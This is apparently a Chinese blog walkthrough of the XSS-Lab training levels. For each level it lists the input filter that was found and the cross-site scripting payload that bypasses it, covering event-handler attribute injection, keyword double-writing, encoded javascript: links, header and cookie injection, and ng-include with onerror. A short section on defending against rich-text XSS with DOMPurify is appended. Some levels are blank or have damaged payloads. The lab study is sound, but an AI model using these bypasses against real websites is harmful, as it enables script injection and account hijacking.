XSS-Lab 1-20关 通关笔记

XSS-Lab 1-20关 通关笔记

第一关:
第二关:

测试 script " ’ Oonn

得到 script " ’ Oonn 无过滤

value 属性 -> " οnmοuseοver=“alert(/xss/)”

第三关:

测试 script " ’ Oonn

得到 script "’ Oonn 过滤 "

Value 属性 单引号

’ οnmοuseοver=‘alert(/xss/)’

第四关:

测试 script " ’ Oonn

得到 script " ’ Oonn 无过滤

value属性 双引号

" οnmοuseοver=“alert(/xss/)”

第五关:

测试 script " ’ Oonn

得到 script " 'oo_nn 过滤 on

value属性 双引号

">click

第六关:

测试 script " ’ Oonn

得到 script " 'Oo_nn 过滤 on

value属性 双引号

">click

发现过滤href属性

大写绕过:

">click

第七关:

测试 script " ’ Oonn

得到 " 'on 过滤 script,On

value属性 双引号

">click

大写无法绕开

双写on绕过:

" Oonnmouseover=“alert(/xss/)”

第八关:

测试 script " ’ Oonn

得到 script "’ oonn 过滤双引号

value属性 双引号

发现下面href属性

javascript:alert(/xss/)

发现过滤script大写无法绕过

unicode编码绕过

javasCRipt:alert(/xss/)

第九关:

测试 script " ’ Oonn

得到 script "’ oonn 过滤双引号

value属性 双引号

同第八关href属性 值为:

您的链接不合法?有没有!

改为合法链接

javascript:alert(‘http://www.baidu.com’)

第十关:

无input框

源代码发现三个隐藏input

URL传参发现t_sort可传参改变value,

测试发现过滤 < >

" type=“text” οnmοuseοver="alert(/xss/)

第十一关:

无input框

源代码发现四个隐藏input

URL传参发现t_sort可传参改变value,

" type=“text” οnmοuseοver="alert(/xss/)

发现 " 被过滤

从其中发现t_ref隐藏字段value为上一个页面地址

即请求头 referer 字段

BP抓包修改referer为

" type=“text” οnmοuseοver="alert(/xss/)

第十二关:

无input框

源代码发现四个隐藏input

URL传参发现t_sort可传参改变value,

" type=“text” οnmοuseοver="alert(/xss/)

发现 " 被过滤

源代码发现t_ua为请求头中User_agent的内容

BP抓包修改" type=“text” οnmοuseοver="alert(/xss/)

第十三关:

无input框

同上关,“ 被过滤,

抓包发现cookie参数传入t_cook,抓包修改cookie

" type=“text” οnmοuseοver="alert(/xss/)

第十四关:

文件失效 无法测试

第十五关:

无input框

传参测试发现span标签可获得参数

双引号 被过滤

破局知识点:

1、ng-include 指令用于包含外部的 HTML文件

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

尝试传入第一关的地址URL

'http://localhost/xsslabs/level1.php?name=alert(/xss/)

发现 " < > 均被过滤 出现level1的页面但没有弹框

构造img标签后发现可以显示,利用onerror事件

'[**http://localhost/xsslabs/level1.php?name= src=aaa οnerrοr=alert(/xss/) />’

第十六关:

无input框

keyword可以传参到center标签内

测试发现 空格 script / 均被过滤

破局知识点:

1、%0D%0A 回车编码 用来代替空格

payload:

<a%0D%0Aοnclick=alert(1)>123

第十七关:

无input框

过滤 “ < >

无法构造script arg0 与arg1 可以传参 格式为 arg0=arg1

arg01=1&arg02=1 οnmοuseοver=alert(1)

第十八关:

无input框

查看源代码仍未arg01与arg02 传参 格式为arg01=arg02

**arg01=1&arg02=1 οnmοuseοver=alert(1) 同17关 **

第十九关:

无input框

第二十关:

无input框

### 富文本XSS漏洞的实战解决方案 #### 了解富文本XSS漏洞的本质 富文本XSS漏洞是Web应用程序中最难防御的一类跨站脚本攻击形式之一。当应用允许用户输入HTML内容而不加严格控制时,恶意用户可以注入JavaScript代码来执行各种有害操作[^1]。 #### 防御策略概述 为了有效应对这种类型的威胁,采用白名单过滤机制成为不可或缺的选择。该方法只允许特定的安全标签及其属性通过,从而阻止任何潜在危险的内容进入系统。此外,遵循安全开发生命周期中的最佳实践对于构建稳固防线至重要。 #### 实施具体措施 - **输入验证**:确保所有来自用户的HTML输入都经过严格的语法和结构检查。 - **编码输出**:在显示之前对特殊字符进行转义处理,防止它们被浏览器解释成可执行代码片段。 - **使用库工具**:借助成熟的第三方组件如DOMPurify可以帮助简化这一过程并提高效率。 - **定期测试**:持续开展渗透测试活动以发现新的风险点,并及时调整防护手段。 ```javascript // 使用 DOMPurify 净化 HTML 输入示例 const dirtyHtml = '<img src="x" onerror="alert(1)">'; // 假设这是未经净化的数据 const cleanHtml = DOMPurify.sanitize(dirtyHtml); console.log(cleanHtml); // 输出:<img src="x"> ``` #### 参考案例研究 Mall4J是一个实际运用了上述原则的成功范例。该项目不仅实现了前后端分离架构下的全面功能支持,还特别加强了针对XSS攻击的有效预防措施,在源码层面提供了良好的示范作用[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值